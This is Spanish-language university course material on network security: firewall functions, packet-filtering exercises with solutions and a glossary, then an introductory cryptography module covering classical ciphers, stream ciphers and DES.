• Traducción de direcciones de red**.Aunque no se trata estrictamente de una funcio-

nalidad relacionada con la seguridad, la mayorı́a de los sistemas cortafuegos ofrecen la

posibilidad de realizar NAT y poder ası́ asociar direcciones IP reservadas (indicadas en

el RFC 1918) a direcciones válidas. Un ejemplo podrı́a ser la traducción de direccio-

nes IP del rango 10.0.0.0/24 de una red privada para que salgan hacia internet com la

direccíon IP ṕublica 212.46.31.224.

• Balanceo de la carga.El balanceo de la carga ofrecida por muchos sistemas cortafu-

egos es la tarea de segmentar el tráfico de una red de forma distribuida. Algunos siste-

mas cortafuegos ofrecen actualmente funcionalidades que pueden ayudar, por ejemplo,

a distribuir tŕafico FTP o HTTP de forma totalmente distribuida.

• Tolerancia a fallos. Algunos sistemas cortafuegos ofrecen actualmente soporte para

determinar tipos de fallos. Para ello, se suele utilizar funcionalidades de alta disponibi-

lidad ***. En estas situaciones, la mayor parte de las estrategias incluyen la utilización

de distintos sistemas cortafuegos sincronizados, de manera que uno de los sistemas

estaŕa a la espera de que se produzca un fallo en el equipo original para ponerse en

funcionamiento y sustituirlo.
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• Deteccíon de ataques e intrusiones.Muchos de los fabricantes de sistemas corta-

fuegos incorporan a sus productos la capacidad de detectar exploraciones y ataques

conocidos. Aunque este tipo de funcionalidad no comporta un problema en śı mismo,

debeŕıamos tener presente que puede llegar a suponer una carga de trabajo adicional y

que puede entorpecer la actividad principal del sistema cortafuegos.

• Autentificación de usuarios.Dado que el sistema cortafuegos es un punto de entrada

a la red, puede llevar a cabo una autentificación adicional a la que efectúan los servicios

ofrecidos por la misma. Ası́, la autentificacíon de usuarios en un sistema cortafuegos

tendŕa la finalidad de permitir o rechazar la conexión al usuario que solicita una cone-

xión con un servicio interno (normalmente, mediante un mecanismo más fuerte que el

implantado por el servicio al que se conecta).

.

Finalmente, cabe comentar que la construcción de servicios adicionales en un sis-

tema cortafuegos incrementa el número de vulnerabilidades sobreéste y, por lo

tanto, el riesgo. La práctica de implantar distintos servicios sobre un cortafuegos

no es recomendable. Desde el punto de vista de la seguridad es mejor buscar una

arquitectura distribuida.
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Resumen

Cuando un sistema se conecta a una red informática, se expone a un conjunto de amenazas

que siempre estarán presentes. Como ya hemos visto en el módulo anterior, es muy pro-

bable que estos sistemas presenten deficiencias de seguridad, aumentando la probabilidad

de que se produzcan estas amenazas.

Los sistemas cortafuegos focalizan las decisiones de seguridad en unúnico punto de cho-

que, tratando de rechazar cualquier conexión que no esté expresamente permitida.

Mediante un escenario de configuración de filtrado de paquetes en sistemas cortafuegos

simples, se podrán aplicar tecnológicamente las decisiones de una polı́tica de seguridad

definida por la organización.

Tambíen es posible la construcción de sistemas cortafuegos mediante tecnologı́as de servi-

dores intermediarios o pasarelas, de manera que todo el tráfico recibido se pueda interpretar

a niveles superiores del de red.

Aśı pues, la utilizacíon de un sistema cortafuegos supone una barrera de control que man-

tendŕa la red protegida de todos aquellos accesos no autorizados, actuando como un punto

central de control y facilitando las tareas de administración.

Por otro lado, por el hecho de situarse en un punto intermedio, los sistemas cortafuegos

ofrecen otras funciones de seguridad interesantes como podrı́an ser la monitorización de

las conexiones de red, el análisis de contenidos, la realización de controles de autentica-

ción adicionales, la construcción de redes privadas virtuales, etc. También pueden realizar

funciones no relacionadas directamente con la seguridad de la red, como la traducción de

direcciones IP (NAT), la gestión de servicios de red, el control del ancho de banda, . . .

Finalmente, debemos tener presente que los sistemas cortafuegos sonúnicamente meca-

nismos de prevención y que no son una solución única para solventar todos los problemas

de seguridad de una red conectada a internet. Estos sistemas no podrán proteger nunca a la

red de aquellos ataques que se produzcan en su interior y es posible que un atacante externo

pueda ser ayudado por un usuario interno para colaborar en un posible ataque. Tampoco

podŕan evitar ataques contra servicios con acceso global, ni podrán proteger a la red contra

la transferencia de aplicaciones maliciosos (virus, gusanos, . . . ). Serı́a impracticable la

utilización de un dispositivo que se dedicara a analizar todo el tráfico que circula a trav́es

suyo. Por este motivo, serán necesarios mecanismos de protección adicionales, como los

que se presentarán en los ḿodulos siguientes.
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Ejercicios de autoevaluacíon

1) Seǵun el siguiente esquema (donde se ilustra cómo ocurre una conexión TCP):

Establecimiento de una conexión TCP/IP

SYN

SYN, ACK

ACK

ACK

ACK

ACK

ACK

ACK

¿Qúe tipo de paquetes podrı́a inspeccionar un encaminador con filtrado de paquetes para

poder controlar los intentos de conexión? ¿Y para identificar las respuestas?

2) A partir de la siguiente figura, donde se observa una conexión Telnet realizada desde

el cliente hacia el servidor:

Establecimiento de una conexión Telnet

Cliente Servidor

Dirección IP: 10.0.0.1

Puerto: 1024

Dirección IP: 192.168.0.3

Puerto: 23

Si suponemos que el servidor 192.168.0.3 es el servidor Telnet de la red interna, ¿cómo se

pueden bloquear las conexiones destinadas aéste, exceptuando las procedentes del sistema

10.0.0.1?
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3) Seǵun la siguiente polı́tica de seguridad, ¿cómo impediŕıais que se hicieran conexiones

a servidores HTTP externos que funcionan sobre un puerto distinto del 80?

Regla Acción Origen
Puerto

de origen
Destino

Puerto de
destino

Indicador Descripción

1 Rechaza 10.0.0.0 * * 80 TCP
Rechaza cualquier conexión

a servidores HTTP

2 Permite 10.0.0.0 * * * TCP
Permite conexiones TCP

de salida

3 Permite * * 10.0.0.1 80 TCP
Permite conexiones HTTP

entrantes

4 Permite * * 10.0.0.2 25 TCP
Permite conexiones SMTP

entrantes

5 Permite * * 10.0.0.3 53 UDP
Permite conexiones DNS

entrantes

6 Rechaza * * 10.0.0.0 * *
Rechaza cualquier otra

conexión a la red interna

4) ¿Por qúe no encontramos la base de datos de la siguiente figura dentro de la zona

desmilitarizada?

Internet

Usuario Usuario

DMZ

Servidor

HTTP

Servidor

DNS

Base de

datos

10.0.0.0/24

Encaminador

Proxy

Servidor

DNS
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Soluciones

1) El filtro de paquetes inspeccionará únicamente el paquete de sincronismo o petición de

inicio de conexíon (con el indicador SYN activado); si se autoriza el paso a este paquete,

se permite el establecimiento de la conexión.

Para identificar respuestas se recurre a la inspección del paquete que tienen los indicadores

ACK y SYN activados. El resto de paquetes no son relevantes.

2) Para bloquear las conexiones destinadas al servidor 192.168.0.3, exceptuando las pro-

cedentes del sistema 10.0.0.1, podemos actuar de la siguiente manera:

Regla Acción Origen
Puerto

de origen
Destino

Puerto de
destino

Indicador Descripción

1 Permite 10.0.0.1 > 1023 192.168.0.3 23 TCP
Permite conexiones del

sistema de teletrabajo

2 Rechaza * * * * *
Rechaza cualquier otra

conexión

3) A nivel de red no se puede distinguir si los paquetes dirigidos a un puerto arbitrario

corresponden al protocolo HTTP o no. Por lo tanto, con un filtro de paquetes laúnica

solucíon seŕıa rechazar todos los paquetes con origen en la red interna, excepto los que

puedan ser respuestas a peticiones de los servicios permitidos (puertos TCP de origen 25

y 80).

Regla Acción Origen
Puerto

de origen
Destino

Puerto de
destino

Indicador Descripción

1 Permite 10.0.0.0 80 * * TCP
Permite respuestas a

peticiones HTTP

2 Permite 10.0.0.0 25 * * TCP
Permite respuestas a

peticiones SMTP

3 Rechaza 10.0.0.0 * * * TCP
Rechaza cualquier otro

paquete de salida

4 Permite * * 10.0.0.1 80 TCP
Permite conexiones HTTP

entrantes

5 Permite * * 10.0.0.2 25 TCP
Permite conexiones SMTP

entrantes

6 Permite * * 10.0.0.3 53 UDP
Permite conexiones DNS

entrantes

7 Rechaza * * 10.0.0.0 * *
Rechaza cualquier otra

conexión a la red interna

4) En la configuracíon del ejemplo se supone que el acceso a la base de datosúnicamente

se puede realizar desde la red interna. Por lo tanto, es mejor aislarla del exterior con

dos sistemas cortafuegos (el encaminador y la pasarela) en lugar de dejarla en la zona

desmilitarizada, donde sólo la separarı́a de la red externa el encaminador.

Otro criterio es el de poner el servicio lo más cerca posible de los sistemas; evidentemente,

la base de datos es un servicio para la red interna (con clientes en la zona desmilitarizada).

Nunca se accede aésta directamente a través de internet. Si esto fuera realmente necesario,

se podŕıa recurrir a la utilizacíon de una ŕeplica de la base de datos accesible desde el

exterior, habilitandóunicamente las opciones de lectura.
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Glosario

Arquitectura dual-homed: equipo inforḿatico de proṕosito general que tiene, al menos,

dos interfaces de red.

Encaminador con filtrado de paquetes:dispositivo de red que encamina tráfico TCP/IP

sobre la base de una serie de reglas de filtrado que deciden qué paquetes se encaminan a

través suyo y cúales son descartados.

Equipo bastión: sistema inforḿatico que ha sido fuertemente protegido para soportar los

supuestos ataques desde un lugar hostil y que actúa como punto de contacto entre el interior

y el exterior de una red.

Pasarela a nivel de aplicacíon: dispositivo de red que actúa com retransmisor a nivel de

aplicacíon.

Pasarela a nivel de circuito:similar a una pasarela a nivel de aplicación en cuanto a la

conexíon, pero operando de manera similar a un filtro de paquetes a nivel de red (una vez

que la conexíon ha sido inicializada).

Poĺıtica de seguridad:resultado de documentar las expectativas de seguridad de una red,

tratando de plasmar en el mundo real los conceptos abstractos de seguridad.

Seguridad perimetral: seguridad basadáunicamente en la integración en la red de siste-

mas cortafuegos y otros mecanismos de control de acceso.

Servidor intermediario: servidorsoftwareque se encarga de realizar las conexiones so-

licitadas con el exterior y retransmitirlas hacia el equipo que inició la conexíon. En ingĺes,

proxy.

Cortafuegos:elemento de prevención que realizaŕa un control de acceso con el objetivo de

separar nuestra red de los equipos del exterior (potencialment hostiles). En inglés,firewall.

Zona desmilitarizada: dentro de una red protegida por un cortafuegos, zona separada de

los servidores ṕublicos por un segundo cortafuegos.
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Introducción

Para proteger las redes de comunicaciones, lacriptografía es la herramienta

que nos permite evitar que alguien intercepte, manipule o falsifique los datos

transmitidos. Dedicaremos la primera parte de este módulo a introducir los

conceptos de criptografía necesarios para entender cómo se aplica a la protec-

ción de las comunicaciones.

La finalidad básica de la criptografía es el envío de información secreta. Si

aplicamos una transformación, conocida comocifrado, a la información que

queremos mantener en secreto, aunque un adversario consiga ver qué datos

estamos enviando le serán completamente ininteligibles. Sólo el destinatario

legítimo será capaz de realizar la transformación inversa y recuperar los datos

originales.

Pero más allá de mantener la información en secreto, existen otros servicios

que pueden ser igualmente necesarios, como, por ejemplo, laautenticación.
Debemos evitar, de esta forma, que después de tomar todas las medidas nece-

sarias para que sólo el destinatario final pueda leer la información, resulte que

este destinatario sea un impostor que haya conseguido hacerse pasar por el

auténtico destinatario. En la segunda parte del módulo veremos algunos sis-

temas para garantizar la autenticidad en las comunicaciones, la mayoría de

ellas basadas en técnicas criptográficas.

En el resto de este módulo didáctico estudiaremos ejemplos de protocolos de

comunicación que, aplicado los mecanismos anteriores, permiten proteger la

información que se transmite entre ordenadores. Esta protección se puede

obtener en distintos niveles de la arquitectura de comunicaciones. Anivel
red, el mecanismo principal en un entorno de interconexión basado en IP es

el conjunto de protocolos conocido comoIPsec.

Alternativamente, se puede implementar la protección anivel de transporte,

aprovechando así la infraestructura IP existente, principalmente los encami-

nadores orouters. Como ejemplo de protección a nivel de transporte veremos

la familia de protocolosSSL/TLS/WTLS.

Para finalizar el módulo, introduciremos la tecnología deredes privadas vir-
tuales o VPN, que permite utilizar una red pública ampliamente extendida

como es Internet para comunicaciones seguras, como si fuera una red privada

dedicada.
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Objetivos

Los conceptos presentados en el presente módulo didáctico deben permitir al

estudiante alcanzar los siguientes objetivos:

1. Saber qué funciones nos ofrece la criptografía, tanto las técnicas de clave

simétrica como las de clave pública.

2. Conocer los distintos algoritmos de cifrado, integridad y autenticación

disponibles y sus posibles usos.

3. Conocer el uso de los certificados X.509 y las listas de revocación, su

estructura y la utilidad de los distintos campos.

4. Reconocer la necesidad de los sistemas de autentificación, qué técnicas

concretas utilizan, y cómo estas técnicas permiten contrarrestar los inten-

tos de suplantación.

5. Comprender las posibilidades de protección de los protocolos de comuni-

cación a distintos niveles, y en particular, el nivel de red y el de transporte.

6. Conocer los protocolos que forman la arquitectura IPsec, y qué protec-

ciones ofrece cada uno de ellos.

7. Entender el mecanismo general de funcionamiento de los protocolos de

transporte seguro SSL/TLS, y cómo estos protocolos pueden ser utiliza-

dos por otros niveles superiores, como HTTP o TELNET.

8. Introducir la tecnología de las redes privadas virtuales, y cómo se pueden

usar para conectar intranets de forma segura mediante una red de acceso

público, como es el caso de Internet.
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1. Conceptos básicos de criptografía .

A lo largo de la historia se han diseñado distintas técnicas para ocultar el
Criptografía

Los términos
criptografía , criptología ,
etc. provienen de la raíz
griega kryptós, que
significa “escondido”.

significado de la información que no interesa que sea conocida por extraños.

Algunas de ellas ya se usaban en tiempos de la antigua Grecia o del Imperio

romano: por ejemplo, se atribuye a Julio César la invención de un cifrado para

enviar mensajes cifrados que no pudieran ser interpretados por el enemigo.

.

La criptografía estudia, desde un punto de vista matemático, los méto-

dos de protección de la información. Por otro lado, elcriptoanálisis
estudia las posibles técnicas utilizadas para contrarrestar los métodos

criptográficos, y es de gran utilidad para ayudar a que estos sean más

robustos y difíciles de atacar. El conjunto formado por estas dos disci-

plinas, criptografía y criptoanálisis, se conoce comocriptología.

Cuando la protección que queremos obtener consiste en garantizar el secreto
Uso de cifrado

El hecho de usar técnicas
de cifrado parte de la idea
que es muy costoso
intentar evitar que un
intruso intercepte la
información. Enviar
mensajes cifrados es más
fácil, ya que no podrá
interpretar la información
que contienen.

de la información, es decir, laconfidencialidad, utilizamos el método crip-

tográfico conocido comocifrado.

Si M es el mensaje que queremos proteger otexto en claro, cifrarlo consiste

en aplicarle unalgoritmo de cifrado f , que lo transforma en otro mensaje que

llamaremostexto cifrado, C. Esto lo podemos expresar como:

C = f (M)

Para que este cifrado sea útil, debe existir otra transformación oalgoritmo de
descifrado f−1, que permita recuperar el mensaje original a partir del texto

cifrado:

M = f−1(C)

El cifrado de César

Por ejemplo, el “cifrado de César” que hemos mencionado anteriormente consistía
en sustituir cada letra del mensaje por la que hay tres posiciones más adelante en el
alfabeto (volviendo a empezar por la letra A si llegamos a la Z). De este modo, si
aplicamos este algoritmo de cifrado al texto en claro “ALEA JACTA EST” (y utilizando
el alfabeto latino actual, porque en tiempos del César no existían letras como la “W”),
obtenemos el texto cifrado “DOHD MDFWD HVW”. El descifrado en este caso es
muy simple: sólo es necesario sustituir cada letra por la que hay tres posiciones antes
en el alfabeto.

Un esquema como el del cifrado de César tiene el inconveniente de que, si el

enemigo descubre cuál es el algoritmo de cifrado (y a partir de aquí deduce el
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algoritmo inverso), será capaz de interpretar todos los mensajes cifrados que

capture. Entonces se requeriría instruir a todos los “oficiales de comunica-

ciones” del ejército para que aprendieran un nuevo algoritmo, lo cual podría

resultar complejo. En lugar de ello, lo que se hace en la actualidad es utilizar

como algoritmo una función con un parámetro llamadoclave.

En este caso podemos hablar de una función de cifradoe con unaclave de
Ejemplo de uso de una
clave

El algoritmo de Julio
César se puede
generalizar definiendo
una clave k que indique
cuántas posiciones hay
que avanzar cada letra en
el alfabeto. El cifrado de
César utiliza k = 3. Para
descifrar se puede utilizar
el mismo algoritmo pero
con la clave invertida
(d≡ e,x =−k).

cifrado k, y una función de descifradod con unaclave de descifradox:

C = e(k,M)

M = d(x,C) = d(x,e(k,M))

De este modo, una solución al problema del espía que llega a conocer cómo

descifrar los mensajes podría ser seguir utilizando el mismo algoritmo, pero

con una clave distinta.

.

Una premisa fundamental en la criptografía moderna es lasuposición
de Kerckhoffs, que establece que los algoritmos deben ser conocidos

públicamente y su seguridad solo depende de la clave. En lugar de in-

tentar ocultar el funcionamiento de los algoritmos, es mucho más seguro

y efectivo mantener en secreto solamente las claves.

Seguridad por ocultismo

A lo largo de la historia ha
habido casos que han
demostrado la
peligrosidad de basar la
protección en mantener
los algoritmos en secreto
(lo que se conoce como
“seguridad por
ocultismo”). Si el
algoritmo es conocido por
muchos, es más fácil que
se detecten debilidades o
vulnerabilidades y se
puedan corregir
rápidamente. Si no, un
experto podría deducir el
algoritmo por ingeniería
inversa, y terminar
descubriendo que tiene
puntos débiles por donde
se puede ataca, como
sucedió con el algoritmo
A5/1 de la telefonía móvil
GSM.

Un algoritmo se considerasegurosi a un adversario le es imposible obtener el

texto en claroM aun conociendo el algoritmoe y el texto cifradoC. Es decir,

es imposible descifrar el mensaje sin saber cuál es la clave de descifrado. La

palabra “imposible”, debe tormarse en consideración con distintos matices.

Un algoritmo criptográfico escomputacionalmente segurosi, aplicando el

mejor método conocido, la cantidad de recursos necesarios (tiempo de cálcu-

lo, número de procesadores, etc.) para descifrar el mensaje sin conocer la clave

es mucho más grande (unos cuantos órdenes de magnitud) de lo que está al al-

cance de cualquier persona. En el límite, un algoritmo esincondicionalmente
segurosi no se puede invertir ni con recursos infinitos. Los algoritmos que se

utilizan en la práctica son (o intentan ser) computacionalmente seguros.

La acción de intentar descifrar mensajes sin conocer la clave de descifrado se

conoce como “ataque”. Si el ataque tiene éxito, se suele decir coloquialmente

que se ha conseguido “romper” el algoritmo. Existen dos formas de llevar a

cabo un ataque:

• Mediante elcriptoanálisis, es decir, estudiando matemáticamente la forma

de deducir el texto en claro a partir del texto cifrado.

• Aplicando lafuerza bruta, es decir, probando uno a uno todos los valores

posibles de la clave de descifradox hasta encontrar uno que produzca un

texto en claro con sentido.
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Ataques al cifrado de César

Continuando con el ejemplo del algoritmo del César generalizado (con clave), un
ataque criptoanalítico podría consistir en el análisis de las propiedades estadísticas del
texto cifrado. Las letras cifradas que más se repiten probablemente corresponderán a
vocales o a las consonantes más frecuentes, las combinaciones más repetidas de dos
(o tres) letras seguidas probablemente corresponden a los dígrafos (o trígrafos) que
normalmente aparecen más veces en un texto.

Por otro lado, el ataque por fuerza bruta consistiría en intentar el descifrado con cada
uno de los 25 posibles valores de la clave (1≤ x≤ 25, si el alfabeto tiene 26 letras) y
mirar cuál de ellos da un resultado inteligible. En este caso, la cantidad necesaria de
recursos es tan modesta que incluso se puede realizar el ataque a mano. Por lo tanto,
este cifrado seria un ejemplo de algoritmo inseguro o débil.

A continuación veremos las características de los principales sistemas crip-

tográficos utilizados en la protección de las comunicaciones. A partir de aho-

ra, consideraremos los mensajes en claro, los mensajes cifrados y las claves

como secuencias de bits.

1.1. Criptograía de clave simétrica

.
Los sistemas criptográficosde clave simétricase caracterizan porque

la clave de descifradox es idéntica a la clave de cifradok, o bien se

puede deducir directamente a partir de ésta.

Para simplificar, supondremos que en este tipo de criptosistemas la clave de

descifrado es igual a la de cifrado:x = k (si no, siempre podemos considerar

que en el algoritmo de descifrado el primer paso es calcular la clavex a partir

de k). Es por esto que estas técnicas criptográficas se denominan declave

simétrica, o a veces también declave compartida. Así, tenemos:

C = e(k,M)

M = d(k,C) = d(k,e(k,M))

La seguridad del sistema recae pues en mantener en secreto la clavek. Cuando

los participantes en una comunicación quieren intercambiarse mensajes confi-

denciales, tienen que escoger un clave secreta y usarla para cifrar los mensajes.

Entonces, pueden enviar estos mensajes por cualquier canal de comunicación,

con la confianza que, aun que el canal sea inseguro y susceptible de ser ins-

peccionado por terceros, ningún espíaZ será capaz de interpretarlos.
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Si el sistema es de clave compartida, es necesario que el valor de la clave

secretak que usanA y B sea el mismo. ¿Cómo podemos asegurar que esto sea

así? Está claro que no pueden mandar la clave escogida mediante el canal de

comunicación de que disponen, porque la hipótesis inicial es que este canal es

inseguro y todo el mundo podría descubrir la información que se transmite a

través del mismo. Una posible solución consiste en utilizar un canal aparte,

que se pueda considerar suficientemente seguro:

Esta solución, sin embargo, presenta algunos inconvenientes. Por un lado se

supone que el canal seguro no será de uso tan ágil como el canal inseguro
Canales seguros

Podrían ser ejemplos de
“canales seguros” el
correo tradicional (no
electrónico) o un servicio
de mensajería “física”,
una conversación
telefónica, o cara a cara,
etc.

(si lo fuera, sería mucho mejor enviar todos los mensajes confidenciales sin

cifrar por el canal seguro y olvidarnos del canal inseguro). Por tanto, puede

ser difícil ir cambiando la clave. Y por otro lado, este esquema no es sufi-

cientemente general: puede ser que tengamos que enviar información cifrada

a alguien con quien no podemos contactar de ningún otro modo. Como vere-

mos más adelante, estos problemas relacionados con elintercambio de claves
se solucionan con la criptografía de clave pública.

A continuación repasaremos las características básicas de los principales algo-

ritmos criptográficos de clave simétrica, que agruparemos en dos categorías:

algoritmos de cifrado en flujo y algoritmos de cifrado en bloque.

 FUOC • XP04/90789/00892



FUOC · P03/75070/02123 11 Mecanismos deprotección

1.1.1. Algoritmos de cifrado en flujo

.

El funcionamiento de una cifrado en flujo consiste en la combinación de

un texto en claroM con un texto de cifradoSque se obtiene a partir de

la clave simétricak. Para descifrar, sólo se requiere realizar la operación

inversa con el texto cifrado y el mismo texto de cifradoS.

La operación de combinación que se utiliza normalmente es la suma, y la

operación inversa por tanto es la resta. Si el texto está formado por caracteres,

este algoritmo sería como una cifra de César en que la clave va cambiando de

un carácter a otro. La clave que corresponde cada vez viene dada por el texto

de cifradoS(llamadokeystreamen inglés).

Si consideramos el texto formado por bits, la suma y la resta son equivalentes.

En efecto, cuando se aplican bit a bit, ambas son idénticas a la operación lógica
Suma y resta de bits

Cuando trabajamos con
aritmética binaria o
aritmética modulo 2, se
cumple que:

0+0 = 0 0−0 = 0
0+1 = 1 0−1 = 1
1+0 = 1 1−0 = 1
1+1 = 0 1−1 = 0

0⊕0 = 0
0⊕1 = 1
1⊕0 = 1
1⊕1 = 0

“O exclusiva”, denotada con el operador XOR (eXclusive OR) o el símbolo⊕.

Así pues:

C = M⊕S(k)

M = C⊕S(k)

En los esquemas de cifrado en flujo, el texto en claroM puede ser de cualquier

longitud, y el texto de cifradoS ha de ser como mínimo igual de largo. De

hecho, no es necesario disponer del mensaje entero antes de empezar a cifrarlo

o descifrarlo, ya que se puede implementar el algoritmo para que trabaje con

un “flujo de datos” que se va generando a partir de la clave (el texto de cifrado).

De ahí procede el nombre de este tipo de algoritmos. La siguiente figura ilustra

el mecanismo básico de su implementación:

Existen distintas formas de obtener el texto de cifradoS en función de la

clavek:

• Si se escoge una secuenciak más corta que el mensajeM, una posibilidad
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sería repetirla cíclicamente tantas veces como sea necesario para ir sumán-

dola al texto en claro.

El inconveniente de este método es que se puede romper fácilmente, sobre

todo cuanto más corta sea la clave (en el caso mínimo, el algoritmo sería

equivalente al cifrado de César).

• En el otro extremo, se podría tomar directamenteS(k) = k. Esto quiere

decir que la propia clave debe ser tan larga como el mensaje que hay que

cifrar. Este es el principio del conocidocifrado de Vernam. Si k es una
Uso del cifrado de
Vernam

En ocasiones las
comunicaciones entre
portaaviones y los
aviones utilizan el cifrado
de Vernam. En este caso,
se aprovecha que en un
momento dado (antes del
despegue) tanto el avión
como el portaaviones
están en el mismo sitio,
con lo cual,
intercambiarse, por
ejemplo, un disco duro de
20 GB con una secuencia
aleatoria no es ningún
problema.
Posteriormente, cuando el
avión despega puede
establecer una
comunicación segura con
el portaaviones utilizando
un cifrado de Vernam con
la clave aleatoria que
ambas partes comparten.

secuencia totalmente aleatoria que no se repite cíclicamente, estamos ante

de un ejemplo de cifrado incondicionalmente seguro, tal como lo hemos

definido al inicio de este módulo. Este método de cifrado se llama en inglés

one-time pad(“cuaderno de un sol uso”).

El problema es en este caso que el receptor tiene que disponer de la misma

secuencia aleatoria para poder realizar el descifrado, y si le tiene que llegar

a través de un canal seguro, la pregunta es inmediata: ¿por qué no enviar el

mensaje confidencialM, que es igual de largo que la clavek, directamente

por el mismo canal seguro? Es evidente, pues, que este algoritmo es muy

seguro pero no es demasiado práctico.

• Lo que en la práctica se utiliza son funciones que generansecuencias pseu-
doaleatoriasa partir de unasemilla (un número que actúa como parámetro

Funciones
pseudoaleatorias

Son ejemplos de
funciones
pseudoaleatorias las
basadas en registros de
desplazamiento
realimentados (feedback
shift registers o FSR). El
valor inicial del registro es
la semilla. Para ir
obteniendo cada bit
pseudoaleatorio se
desplazan todos los bits
del registro una posición y
se toma el que sale fuera
del registro. El bit que
queda libre al otro
extremo se llena con un
valor que es función del
resto de bits.

del generador), y lo que se intercambia como clave secretak es solamente

esta semilla.

Las secuencias pseudoaleatorias reciben este nombre porque intentan pare-

cer aleatorias pero, obviamente, son generadas algorítmicamente. En cada

paso el algoritmo se encontrará en un determinado estado, que vendrá dado

por sus variables internas. Dado que las variables serán finitas, habrá un

número máximo de posibles estados distintos. Esto significa que al cabo

de un cierto período, los datos generados se volverán a repetir. Para que

el algoritmo sea seguro, interesa que el período de repetición sea cuanto

más largo mejor (con relación al mensaje que hay que cifrar), con el fin de

dificultar el criptoanálisis. Las secuencias pseudoaleatorias también deben

tener otras propiedades estadísticas equivalentes a las de las secuencias

aleatorias puras.

Cifrado síncrono y asíncrono

Si el texto de cifradoSdepende exclusivamente de la clavek, se dice que el cifrado
es síncrono. Este cifrado tiene el problema de que, si por algún error de trans-
misión, se pierden bits (o llegan repetidos), el receptor se desincronizará y sumará
bits del textoS con bits del texto cifradoC que no corresponden, con lo cual el
texto descifrado a partir de entonces será incorrecto.

Esto se puede evitar con el cifrado asíncrono (o auto-sincronizante), en el cual el
texto S se calcula a partir de la clavek y el mismo texto cifradoC. Es decir, en
lugar de realimentarse con sus propios bits de estado, el generador se realimenta
con los últimosn bits cifrados transmitidos. De este modo, si se pierdenm bits
consecutivos en la comunicación, el error afectará como máximo al descifrado de
m+n bits del mensaje original.
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Ejemplos de algoritmos de cifrado en flujo

Los algoritmos de cifrado en flujo actualmente en uso tienen la propiedad que

son poco costosos de implementar. Las implementaciones en hardware son

relativamente simples y, por lo tanto, eficientes en su rendimiento (en términos

de bits cifrados por segundo). Pero también las implementaciones en software

pueden ser muy eficientes.

Las características del cifrado en flujo lo hacen apropiado para entornos en

los que se necesite un rendimiento alto y los recursos (capacidad de cálculo,

consumo de energía) sean limitados. Para ello se suelen utilizar en comunica-

ciones móviles: redes locales sin hilos, telefonía móvil, etc.

Un ejemplo de algoritmo de cifrado en flujo es elRC4 (Ron’s Code 4). Fue

diseñado por Ronald Rivest en 1987 y publicado en Internet por un remitente

anónimo en 1994. Es el algoritmo de cifrado en flujo mas utilizado en muchas

aplicaciones gracias a su simplicidad y velocidad. Por ejemplo, el sistema de

protección WEP (Wired Equivalent Privacy) que incorpora el estándar IEEE

802.11 para tecnología LAN inalámbrica utiliza este criptosistema de cifrado

en flujo.

1.1.2. Algoritmos de cifrado en bloque

.

En una cifra de bloque, el algoritmo de cifrado o descifrado se aplica

separadamente a bloques de entrada de longitud fijab, y para cada uno

de ellos el resultado es un bloque de la misma longitud.

Para cifrar un texto en claro deL bits debemos dividirlo en bloques deb bits

cada uno y cifrar estos bloques uno a uno. SiL no es múltiple deb, se pueden

agregar bits adicionales hasta llegar a un número lleno de bloques, pero luego

puede ser necesario indicar de alguna forma cuántos bits había realmente en

el mensaje original. El descifrado también se debe realizar bloque a bloque.

La siguiente figura muestra el esquema básico del cifrado de bloque:
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Muchos de los algoritmos del cifrado de bloque se basan en la combinación

de dos operaciones básicas: sustitución y transposición.

• La sustitución consiste en traducir cada grupo de bits de la entrada a otro,

de acuerdo con una permutación determinada.

El cifrado del César sería un ejemplo simple de sustitución, en el que cada

grupo de bits correspondería a una letra. De hecho, se trata de un caso

particular desustitución alfabética. En el caso más general, las letras del

texto cifrado no tienen por qué estar a una distancia constante de las letras

del texto en claro (lak del algoritmo, tal como la hemos definido). La clave
Clave de la sustitución
alfabética

Está claro que la clave ha
de ser una permutación
del alfabeto, es decir, no
puede haber letras
repetidas ni faltar
ninguna. Si no, la
transformación no sería
invertible en general.

se puede expresar como la secuencia correlativa de letras que corresponden

a la A, la B, la C, etc. Por ejemplo:

A B C D E F G H Y J K L MN O P Q R S T U VWX Y Z

Clave: QWE R T Y U Y O P A S D F G H J K L Z X C V B NM

Texto en claro: A L E A J A C T A E S T

Texto cifrado: Q S T Q P Q E Z Q T L Z

• La transposición consiste en reordenar la información del texto en claro

según un patrón determinado. Un ejemplo podría ser la formación grupos

de cinco letras, incluidos los espacios en blanco, y rescribir cada grupo

(1,2,3,4,5) en el orden(3,1,5,4,2):

Texto en claro: A L E A J A C T A E S T

Texto cifrado: E A A L C J A T A S T E

La transposición por si sola no dificulta extraordinariamente el criptoanáli-

sis, pero puede combinarse con otras operaciones para añadir complejidad

a los algoritmos de cifrado.

El producto de cifras, o combinación en cascada de distintas transforma-
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ciones criptográficas, es una técnica muy efectiva para implementar algoritmos

bastante seguros de forma sencilla. Por ejemplo, muchos algoritmos de cifra-

do de bloque se basan en una serie de iteraciones de productos sustitución–

transposición.

Confusión y difusión

Dos propiedades deseables en un algoritmo criptográfico son laconfusión, que consiste
en esconder la relación entre la clave y las propiedades estadísticas del texto cifrado, y
la difusión, que propaga la redundancia del texto en claro a lo largo del texto cifrado
para que no sea fácilmente reconocible.

La confusión consigue que, cambiando un solo bit de la clave, cambien muchos bits
del texto cifrado, y la difusión implica que el cambio de un solo bit del texto en claro
afecte también a muchos bits del texto cifrado.

En un bucle de productos de cifrados básicos, la sustitución contribuye a la confusión,
mientras que la transposición contribuye a la difusión. La combinación de estas trans-
formaciones simples, repetidas diversas veces, provoca que los cambios en la entrada
se propaguen por toda la salida por efecto “alud”.

Ejemplos de algoritmos de cifrado en bloque

DES (Data Encryption Standard). Durante muchos años ha sido el algorit-

mo más estudiado y, a la vez, el más utilizado. Desarrollado por IBM durante

los años 70, fue adoptado en 1977 por el NBS norteamericano (nombre que

tenía entonces el actual NIST) como estándar para el cifrado de datos.
NBS y NIST

NBS era la sigla de
National Bureau of
Standards, y NIST es la
sigla de National Institute
of Standards and
Technology.

El algoritmo admite una clave de 64 bits, pero sólo 7 de cada 8 intervienen

en el cifrado, de modo que la longitud efectiva de la clave es de 56 bits. Los

Bits adicionales de la
clave DES

Un posible uso de los bits
de la clave DES que no
influyen en el algoritmo es
su utilización como bits de
paridad.

bloques de texto a los que se les aplica el DES tienen que ser de 64 bits cada

uno.

La parte central del algoritmo consiste en dividir la entrada en grupos de bits,

hacer una sustitución distinta sobre cada grupo y, a continuación una trans-

posición de todos los bits. Esta transformación se repite dieciséis veces: en

cada iteración, la entrada es una transposición distinta de los bits de la clave

